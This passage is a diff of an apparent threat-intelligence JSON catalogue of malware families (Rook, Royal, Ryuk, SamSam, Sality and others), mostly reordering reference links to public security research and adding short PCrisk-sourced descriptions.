"https://blogs.blackberry.com/en/2023/07/romcom-targets-ukraine-nato-membership-talks-at-nato-summit", + "https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/", "https://cert.gov.ua/article/3349703", - "https://unit42.paloaltonetworks.com/cuba-ransomware-tropical-scorpius/" + "https://labs.k7computing.com/index.php/romcom-rat-not-your-typical-love-story/", + "https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass" ], "synonyms": [], "type": [] @@ -42043,18 +44041,18 @@ "value": "Romeo(Alfa,Bravo, ...)" }, { - "description": "Ransomware.", + "description": "According to PCrisk, Rook is ransomware (an updated variant of Babuk) that prevents victims from accessing/opening files by encrypting them. It also modifies filenames and creates a text file/ransom note (\"HowToRestoreYourFiles.txt\"). Rook renames files by appending the \".Rook\" extension. For example, it renames \"1.jpg\" to \"1.jpg.Rook\", \"2.jpg\" to \"2.jpg.Rook\".", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rook", + "https://www.sentinelone.com/labs/new-rook-ransomware-feeds-off-the-code-of-babuk/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://seguranca-informatica.pt/rook-ransomware-analysis/", "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", "https://blog.cyble.com/2022/03/15/deep-dive-analysis-pandora-ransomware/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit.md", - "https://www.sentinelone.com/labs/new-rook-ransomware-feeds-off-the-code-of-babuk/", - "https://chuongdong.com/reverse%20engineering/2022/01/06/RookRansomware/", - "https://seguranca-informatica.pt/rook-ransomware-analysis/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://chuongdong.com/reverse%20engineering/2022/01/06/RookRansomware/" ], "synonyms": [], "type": [] @@ -42093,9 +44091,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rorschach", "https://www.trendmicro.com/en_us/research/23/d/an-analysis-of-the-bablock-ransomware.html", - "https://research.checkpoint.com/2023/rorschach-a-new-sophisticated-and-fast-ransomware/", "https://www.group-ib.com/blog/bablock-ransomware/", "https://medium.com/@simone.kraus/rorschach-ransomware-analysis-with-attack-flow-7fa5ff613a75", + "https://research.checkpoint.com/2023/rorschach-a-new-sophisticated-and-fast-ransomware/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/23/d/an-analysis-of-the-bablock-ransomware-/iocs-an-analysis-of-the-babLock-ransomware.txt" ], "synonyms": [ @@ -42126,10 +44124,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.roshtyak", - "https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/", - "https://unit42.paloaltonetworks.com/unsigned-dlls/", "https://www.trendmicro.com/fr_fr/research/22/l/raspberry-robin-malware-targets-telecom-governments.html", - "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/" + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://unit42.paloaltonetworks.com/unsigned-dlls/", + "https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/" ], "synonyms": [], "type": [] @@ -42173,17 +44171,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rovnix", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-RodionovMatrosov.pdf", + "http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/", "https://securelist.com/oh-what-a-boot-iful-mornin/97365", + "https://www.welivesecurity.com/2012/07/13/rovnix-bootkit-framework-updated/", "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=981", "http://www.malwaretech.com/2014/05/rovnix-new-evolution.html", - "http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html", - "https://www.welivesecurity.com/2012/07/13/rovnix-bootkit-framework-updated/", - "https://0xc0decafe.com/malware-analysts-guide-to-aplib-decompression/", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-RodionovMatrosov.pdf", "https://securelist.com/cybercriminals-switch-from-mbr-to-ntfs-2/29117/", - "https://news.drweb.ru/?i=1772&c=23&lng=ru&p=0", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/", - "https://blogs.technet.microsoft.com/mmpc/2014/05/04/the-evolution-of-rovnix-new-virtual-file-system-vfs/" + "https://0xc0decafe.com/malware-analysts-guide-to-aplib-decompression/", + "https://blogs.technet.microsoft.com/mmpc/2014/05/04/the-evolution-of-rovnix-new-virtual-file-system-vfs/", + "https://news.drweb.ru/?i=1772&c=23&lng=ru&p=0" ], "synonyms": [ "BkLoader", @@ -42200,10 +44198,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.royalcli", - "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", "https://www.secureworks.com/research/threat-profiles/bronze-palace", - "https://github.com/nccgroup/Royal_APT", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "https://github.com/nccgroup/Royal_APT" ], "synonyms": [], "type": [] @@ -42216,10 +44214,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_dns", - "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", "https://www.secureworks.com/research/threat-profiles/bronze-palace", - "https://github.com/nccgroup/Royal_APT", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "https://github.com/nccgroup/Royal_APT" ], "synonyms": [], "type": [] @@ -42232,29 +44230,33 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_ransom", - "https://www.trellix.com/en-us/about/newsroom/stories/research/a-royal-analysis-of-royal-ransom.html", - "https://www.logpoint.com/en/blog/exploring-the-exploit-of-royal-ransomware/", - "https://www.trendmicro.com/en_us/research/23/b/royal-ransomware-expands-attacks-by-targeting-linux-esxi-servers.html", - "https://yoroi.company/research/reconstructing-the-last-activities-of-royal-ransomware/", - "https://www.bleepingcomputer.com/news/security/new-royal-ransomware-emerges-in-multi-million-dollar-attacks/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-007.pdf", + "https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65", + "https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/", + "https://securityscorecard.pathfactory.com/research/the-royal-ransomware", + "https://socradar.io/dark-web-profile-royal-ransomware/", + "https://unit42.paloaltonetworks.com/royal-ransomware/", + "https://www.bridewell.com/insights/news/detail/hunting-for-ursnif", "https://www.microsoft.com/en-us/security/blog/2022/11/17/dev-0569-finds-new-ways-to-deliver-royal-ransomware-various-payloads/", + "https://www.cybereason.com/blog/royal-ransomware-analysis", + "https://yoroi.company/research/reconstructing-the-last-activities-of-royal-ransomware/", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-royal-ransomware", + "https://www.bleepingcomputer.com/news/security/new-royal-ransomware-emerges-in-multi-million-dollar-attacks/", + "https://www.cyber.gov.au/about-us/advisories/2023-01-acsc-ransomware-profile-royal", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a", + "https://www.trendmicro.com/en_us/research/22/l/conti-team-one-splinter-group-resurfaces-as-royal-ransomware-wit.html", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", + "https://www.logpoint.com/en/blog/exploring-the-exploit-of-royal-ransomware/", + "https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-royal-ransomware", + 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+ "https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit___John_Hammond_Huntress___Analyzing_Ryuk.pdf", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://community.riskiq.com/article/c88cf7e6", + "https://threatconnect.com/blog/threatconnect-research-roundup-possible-ryuk-infrastructure/", + "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://areteir.com/wp-content/uploads/2020/08/Arete_Insight_Is-Conti-the-new-Ryuk_August2020.pdf", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://www.splunk.com/en_us/blog/security/ryuk-and-splunk-detections.html", + "https://blogs.quickheal.com/deep-dive-wakeup-lan-wol-implementation-ryuk/", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", + "https://news.sophos.com/en-us/2021/05/06/mtr-in-real-time-pirates-pave-way-for-ryuk-ransomware/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://thedfirreport.com/2021/01/31/bazar-no-ryuk/", + "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-ryuk-ransomware-targeting-webservers.pdf", + "https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/", + 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"https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", + "https://edition.cnn.com/2020/10/28/politics/hospitals-targeted-ransomware-attacks/index.html", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2019-ACT-005.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/trickbot-botnet-ransomware-disruption", + "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", + "https://blog.cyberint.com/ryuk-crypto-ransomware", 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"https://news.sophos.com/en-us/2021/05/06/mtr-in-real-time-pirates-pave-way-for-ryuk-ransomware/", - "https://twitter.com/IntelAdvanced/status/1353546534676258816", - "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", - "https://www.secureworks.com/research/threat-profiles/gold-ulrick", - "https://arcticwolf.com/resources/blog/karakurt-web", - "https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider", - "https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", - "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://www.fireeye.com/blog/threat-research/2020/03/the-cycle-of-adversary-pursuit.html", - "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-ryuk-ransomware-targeting-webservers.pdf", - "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", - "https://www.youtube.com/watch?v=HwfRxjV2wok", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://sites.temple.edu/care/ci-rw-attacks/", "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", "https://www.youtube.com/watch?v=BhjQ6zsCVSc", - "https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit___John_Hammond_Huntress___Analyzing_Ryuk.pdf", - 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"https://kc.mcafee.com/resources/sites/MCAFEE/content/live/CORP_KNOWLEDGEBASE/91000/KB91844/en_US/McAfee%20Labs%20Threat%20Advisory%20-%20Ransom-Ryukv6.pdf", - "https://www.youtube.com/watch?v=CgDtm05qApE", + "https://arcticwolf.com/resources/blog/karakurt-web", "https://blog.emsisoft.com/en/35023/bug-in-latest-ryuk-decryptor-may-cause-data-loss/", - "https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022", - "https://www.splunk.com/en_us/blog/security/ryuk-and-splunk-detections.html", - "https://medium.com/ax1al/reversing-ryuk-eef8ffd55f12", "https://www.carbonblack.com/blog/vmware-carbon-black-tau-ryuk-ransomware-technical-analysis/", - "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-attacked-epiq-global-via-trickbot-infection/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/trickbot-botnet-ransomware-disruption", - "https://twitter.com/ffforward/status/1324281530026524672", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", - "https://www.bleepingcomputer.com/news/security/hacking-group-is-targeting-us-hospitals-with-ryuk-ransomware/", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", - "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", - "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", - "https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.youtube.com/watch?v=7xxRunBP5XA", - "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/", - "https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/", - "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", - "https://n1ght-w0lf.github.io/malware%20analysis/ryuk-ransomware/", - "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", - "https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware", - "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", - "https://0xc0decafe.com/2020/12/28/never-upload-ransomware-samples-to-the-internet/", - "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", - "https://www.crowdstrike.com/blog/wizard-spider-adds-new-feature-to-ryuk-ransomware/", - "https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://www.bleepingcomputer.com/news/security/steelcase-furniture-giant-hit-by-ryuk-ransomware-attack/", "https://twitter.com/SecurityJoes/status/1402603695578157057", - "https://www.ccn-cert.cni.es/informes/informes-ccn-cert-publicos/5768-ccn-cert-id-03-21-ryuk-ransomware/file.html", - "https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html", - "https://www.ccn-cert.cni.es/informes/informes-ccn-cert-publicos/4217-ccn-cert-id-26-19-ryuk-1/file.html", - "https://decrypt.co/15394/how-ransomware-exploded-in-the-age-of-btc", - "https://fourcore.io/blogs/ryuk-ransomware-simulation-mitre-ttp", - "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-NicolaoMartins.pdf", - "https://www.latimes.com/local/lanow/la-me-ln-times-delivery-disruption-20181229-story.html", - "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", - "https://www.advanced-intel.com/post/crime-laundering-primer-inside-ryuk-crime-crypto-ledger-risky-asian-crypto-traders", - "https://securityliterate.com/reversing-ryuk-a-technical-analysis-of-ryuk-ransomware/", - "https://twitter.com/IntelAdvanced/status/1356114606780002308", - "https://www.bleepingcomputer.com/news/security/new-ryuk-info-stealer-targets-government-and-military-secrets/", - "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", - "https://4rchib4ld.github.io/blog/NiceToMeetYouRyuk/", - "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://krebsonsecurity.com/2020/10/fbi-dhs-hhs-warn-of-imminent-credible-ransomware-threat-against-u-s-hospitals/", - "https://www.zdnet.com/article/dod-contractor-suffers-ransomware-infection/", + "https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider", + "https://www.crowdstrike.com/blog/wizard-spider-adds-new-feature-to-ryuk-ransomware/", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", + "https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/", "https://blog.reversinglabs.com/blog/hunting-for-ransomware", - "https://blog.talosintelligence.com/2020/06/CTIR-trends-q3-2020.html#more", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.reuters.com/article/usa-healthcare-cyber-idUSKBN27E0EP", - "https://blog.malwarebytes.com/threat-spotlight/2019/12/threat-spotlight-the-curious-case-of-ryuk-ransomware/", - "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - 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"refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sage_ransom", - "https://www.cert.pl/en/news/single/sage-2-0-analysis/", + "https://www.govcert.admin.ch/blog/27/saga-2.0-comes-with-ip-generation-algorithm-ipga", "http://malware-traffic-analysis.net/2017/10/13/index.html", - "https://blog.malwarebytes.com/threat-analysis/2017/03/explained-sage-ransomware/", + "https://www.cert.pl/en/news/single/sage-2-0-analysis/", "https://isc.sans.edu/forums/diary/Sage+20+Ransomware/21959/", - "https://www.govcert.admin.ch/blog/27/saga-2.0-comes-with-ip-generation-algorithm-ipga" + "https://blog.malwarebytes.com/threat-analysis/2017/03/explained-sage-ransomware/" ], "synonyms": [ "Saga" @@ -42705,13 +44721,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.saint_bot", - "https://www.cyberscoop.com/ukrainian-cyber-attacks-russia-conflict-q-and-a/", "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/", - 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+ "https://blog.malwarebytes.com/threat-intelligence/2022/05/apt34-targets-jordan-government-using-new-saitama-backdoor/", "https://www.fortinet.com/blog/threat-research/please-confirm-you-received-our-apt", - "https://blog.malwarebytes.com/threat-intelligence/2022/05/apt34-targets-jordan-government-using-new-saitama-backdoor/" + "https://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html", + "https://isc.sans.edu/diary/Translating+Saitama%27s+DNS+tunneling+messages/28738", + "https://www.trendmicro.com/en_us/research/23/b/new-apt34-malware-targets-the-middle-east.html" ], "synonyms": [ "AMATIAS", @@ -42744,15 +44760,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sakula_rat", - "https://web.archive.org/web/20151001235506/https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=654", - "https://www.secureworks.com/research/sakula-malware-family", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", - "https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Sakula", - "https://docs.broadcom.com/doc/the-black-vine-cyberespionage-group", "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/black-vine-cyberespionage-group-15-en.pdf", - "https://www.symantec.com/security_response/writeup.jsp?docid=2014-022401-3212-99", + "https://web.archive.org/web/20151001235506/https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=654", + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/sakula-an-adventure-in-dll-planting/?page=1", "https://cyberthreatintelligenceblog.wordpress.com/2018/11/16/c0ld-case-from-aerospace-to-chinas-interests/", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/sakula-an-adventure-in-dll-planting/?page=1" + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://docs.broadcom.com/doc/the-black-vine-cyberespionage-group", + "https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Sakula", + "https://www.symantec.com/security_response/writeup.jsp?docid=2014-022401-3212-99", + "https://www.secureworks.com/research/sakula-malware-family" ], "synonyms": [ "Sakurel" @@ -42767,9 +44783,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.salgorea", - "https://research.checkpoint.com/deobfuscating-apt32-flow-graphs-with-cutter-and-radare2/", + "https://www.accenture.com/us-en/blogs/blogs-pond-loach-delivers-badcake-malware", "https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf", - "https://www.accenture.com/us-en/blogs/blogs-pond-loach-delivers-badcake-malware" + "https://research.checkpoint.com/deobfuscating-apt32-flow-graphs-with-cutter-and-radare2/" ], "synonyms": [ "BadCake" @@ -42784,15 +44800,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sality", - "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P18-Kleissner-Sality.pdf", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://unit42.paloaltonetworks.com/c2-traffic/", - "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", "https://www.researchgate.net/profile/Lorenzo-De-Carli/publication/320250366_Botnet_protocol_inference_in_the_presence_of_encrypted_traffic/links/5fa9608792851cc286a08592/Botnet-protocol-inference-in-the-presence-of-encrypted-traffic.pdf?origin=publication_detail", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", + "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/sality_peer_to_peer_viral_network.pdf", + "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P18-Kleissner-Sality.pdf", "https://gist.githubusercontent.com/quangnh89/41deada8a936a1877a6c6c757ce73800/raw/41f27388a11a606e1d6a7596dcb6469578e79321/sality_extractor.py", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", "https://www.dragos.com/blog/the-trojan-horse-malware-password-cracking-ecosystem-targeting-industrial-operators/", - "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/sality_peer_to_peer_viral_network.pdf" + "https://unit42.paloaltonetworks.com/c2-traffic/" ], "synonyms": [], "type": [] @@ -42801,7 +44817,7 @@ "value": "Sality" }, { - "description": "", + "description": "According to PCrisk, SamoRAT is a Remote Access Trojan (RAT), a type of malware that allows the cyber criminals responsible to monitor and control the infected computer. In most cases, RATs are used to steal sensitive information and/or install other malware onto the infected computer. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.samo_rat", @@ -42814,39 +44830,39 @@ "value": "SamoRAT" }, { - "description": "", + "description": "According to PCrisk, Samsam is high-risk ransomware designed to infect unpatched servers and encrypt files stored on computers networked to the infected server.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.samsam", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf", - "https://nakedsecurity.sophos.com/2018/08/02/how-to-defend-yourself-against-samsam-ransomware/", - "https://www.secureworks.com/blog/samsam-converting-opportunity-into-profit", - "https://www.secureworks.com/research/threat-profiles/gold-lowell", - "https://news.sophos.com/en-us/2018/11/29/how-a-samsam-like-attack-happens-and-what-you-can-do-about-it/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://news.sophos.com/en-us/2018/07/31/sophoslabs-releases-samsam-ransomware-report/", "https://www.justice.gov/opa/pr/two-iranian-men-indicted-deploying-ransomware-extort-hospitals-municipalities-and-public", + "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.secureworks.com/research/samsam-ransomware-campaigns", + "https://therecord.media/iranian-hackers-behind-cox-media-group-ransomware-attack/", + "https://nakedsecurity.sophos.com/2018/07/31/samsam-the-almost-6-million-ransomware/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://news.sophos.com/en-us/2018/07/31/samsam-guide-to-coverage/", + "https://nakedsecurity.sophos.com/2018/05/01/samsam-ransomware-a-mean-old-dog-with-a-nasty-new-trick-report/", + "http://blog.talosintel.com/2016/03/samsam-ransomware.html", + "https://www.secureworks.com/research/threat-profiles/gold-lowell", + "https://www.secureworks.com/blog/samas-ransomware", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "http://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html", + "https://news.sophos.com/en-us/2018/11/29/how-a-samsam-like-attack-happens-and-what-you-can-do-about-it/", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://www.secureworks.com/blog/ransomware-deployed-by-adversary", "https://sites.temple.edu/care/ci-rw-attacks/", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", - "https://www.justice.gov/opa/press-release/file/1114746/download", - "https://www.secureworks.com/blog/samas-ransomware", - "https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/", - "https://nakedsecurity.sophos.com/2018/05/01/samsam-ransomware-a-mean-old-dog-with-a-nasty-new-trick-report/", "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://news.sophos.com/en-us/2018/07/31/samsam-guide-to-coverage/", - "https://www.secureworks.com/blog/ransomware-deployed-by-adversary", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + 